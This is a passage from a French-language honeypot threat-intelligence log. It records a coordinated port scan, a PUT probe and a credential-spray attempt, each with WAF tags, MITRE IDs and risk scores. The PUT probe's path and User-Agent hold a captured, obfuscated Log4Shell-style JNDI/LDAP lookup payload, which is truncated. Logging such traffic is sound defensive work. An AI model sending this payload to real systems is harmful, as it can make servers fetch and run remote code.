"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c1a1f8364737e254368ea8b769caaaf7c3f24c3f",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port scan syn \u00b7 via HTTP:8087 \u00b7 (reconnaissance)",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 72,
"classification": 64,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 57,
"correlation_boost": 24
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 57,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8087,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"campagne_ports",
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +24",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8087,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port scan syn \u00b7 via HTTP:8087 \u00b7 (reconnaissance)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8087\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8087 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +24 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8087"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
8060,
8085,
8087,
8089
],
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"port_scan_campaign",
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 24,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:48 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe) · → /${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:q…
Élevée
Moyen · 61
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3… UA ${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-/}${dh4:q4j:-/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
8085
Chemin / cible
/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-/}${dh4:q4j:-/}${kbu:-P}${z3x:n…
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 61
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-/}${dh4:q4j:-/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${b
User-Agent
${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-/}${72j:s:a:-/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f…
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1
Requête brute (extrait)
PUT /${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-/}${dh4:q4j:-/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6i
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${eh:-g}${7ogq:eq2o:0im9:-o}${bq:uxa:9ai:-o}${y1c:dq8u:8n57:-g}}",
"http_ua_hash": "cb800dd55652ced2cb99b51dca587fddfb233167",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "445efddd3a5b614cf5b198374eeec1704787825f",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.785658310630956,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "e6251b83311572d855264671ccaf6f1a24c5e3df",
"event_fingerprint": "5af0e8340ec53ae4ab7da4b10b5b2dfb3df30669",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "f7f63822015acdbc34a0e95600896814",
"payload_hash": "cca6dfa4a4fae49fbf92ad38c4c94ab7",
"path_pattern_hash": "8db2ce6d2e5e2dbbca552236b72a0504"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "PUT",
"path": "\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0",
"user_agent": "${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-\/}${72j:s:a:-\/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f:-s}${ibwu:w:-y}${u8a:-s}${vu3:dgmr:-:}${19m:3:-j}${o:cw\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${b",
"payload_snippet": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1",
"evidence": {
"method": "PUT",
"path": "\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${bk9:0",
"user_agent": "${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:-\/}${72j:s:a:-\/}${m5jt:f:b:-U}${u:-A}${4:-l}${fn:fg:e:-0}${beg:-c}${r:--}${${y:f:-s}${ibwu:w:-y}${u8a:-s}${vu3:dgmr:-:}${19m:3:-j}${o:cw\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6iw:-s}${97l:-:}${3jp:m03p:08:-j}${of9:8gxn:zovu:-a}${hftv:w7ae:vlg:-v}${p8e:98:-a}${3od:2:d2rj:-.}${v:0u:-v}${z:pv:x0tv:-e}${qi:-r}${y6z:-s}${ij:-i}${0t15:3m67:htw:-o}${4d5r:1xd:-n}}${l7x:-.}${vl2d:-e}${nj96:7:67o:-7}${pj:u:xdpl:-d}${38:i:b:-b}${og:7:-8}${b",
"request_sample": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1bn:s:-c}${pn6:3qm5:--}${${2ur:s19t:-s}${bk1:-y}${0e:n:x6i",
"payload_snippet": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "398550f71b7442ae777b813083c9e958c7f91ba0",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:n\u2026",
"request_line": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1\u2026",
"http_user_agent": "${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:q\u2026",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:n\u2026",
"request_line": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1yp:-\/}${dh4:q4j:-\/}${kbu:-P}${z3x:nt:an:-A}${98r:a:-l}${8b2l:-0}${7y2:1\u2026",
"http_user_agent": "${${eib:iyr:gvwb:-j}${d:-n}${fe:-d}${q:-i}${e83l:y5k:sa:-:}${hv:-l}${5:-d}${xl:pndo:g1:-a}${r:u3m:-p}${ah:qsf0:-:}${rm:\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:q\u2026",
"evidence_snippet": "PUT \/${${9:un:wb26:-j}${sjd:-n}${dv8k:br85:-d}${9:qn:-i}${8r1u:-:}${4f:c:th:-l}${ekfm:-d}${gih7:-a}${i3:-p}${sa4y:a:d20q:-:}${h1",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"http-alt-8005",
"http-alt-8085"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:47 UTC
TCP
8085 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:8085 · (sonde / probe) · → /login
Élevée
Élevé · 71
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8085
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 71
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:8085
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:8085 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Type: application/json Content-Length: 1593 {"username"
Meta JSON brut
{
"protocol_emulated": true,
